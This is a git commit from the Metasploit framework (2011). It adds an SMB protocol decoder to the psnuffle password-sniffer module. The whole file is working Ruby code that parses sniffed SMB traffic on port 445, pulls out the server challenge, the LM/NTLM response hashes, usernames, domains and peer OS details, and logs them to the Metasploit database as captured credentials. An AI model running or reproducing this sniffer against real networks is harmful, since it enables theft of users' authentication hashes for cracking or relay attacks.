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psnuffle : add a smb protocol decoder 

git-svn-id: file:///home/svn/framework3/trunk@13375 4d416f70-5f16-0410-b530-b9f4589650da
unstable
amaloteaux 2011-07-27 18:06:28 +00:00
parent 9dd3c5fbf5
commit b9bb5c454d
1 changed files with 202 additions and 0 deletions
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202
data/exploits/psnuffle/smb.rb Normal file
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# Psnuffle password sniffer add-on class for smb
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
#
#Memo :
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
class SnifferSMB < BaseProtocolParser
def register_sigs
self.sigs = {
:setupandx => /\xffSMB\x73/,
:negotiate => /\xffSMB\x72/,
}
end
def parse(pkt)
# We want to return immediatly if we do not have a packet which is handled by us
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))
self.sigs.each_key do |k|
# There is only one pattern per run to test
matched = nil
matches = nil
if(pkt.payload =~ self.sigs[k])
matched = k
matches = $1
end
case matched
when :negotiate
payload = pkt.payload.dup
wordcount = payload[36,1].unpack("C")[0]
#negotiate response
if wordcount == 17
flags2 = payload[14,2].unpack("v")[0]
#the server challenge is here
if flags2 & 0x800 == 0
s[:challenge] = payload[73,8].unpack("H*")[0]
s[:last] = :negotiate
end
end
when :setupandx
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :negotiate
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:host]
dst_ip = s[:session].split("-")[1].split(":")[0]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
when nil
# No matches, no saved state
else
sessions[s[:session]].merge!({k => matches})
end # end case matched
end # end of each_key
end # end of parse
#ntlmv1, ntlmv2 or ntlm2_session
def detect_ntlm_ver(lmhash, ntlmhash)
return "NTLMv2" if ntlmhash.length > 48
if lmhash.length == 48 and ntlmhash.length == 48
if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
return "NTLM2_SESSION"
else
return "NTLMv1"
end
else
raise RuntimeError, "Unknow hash type"
end
end
end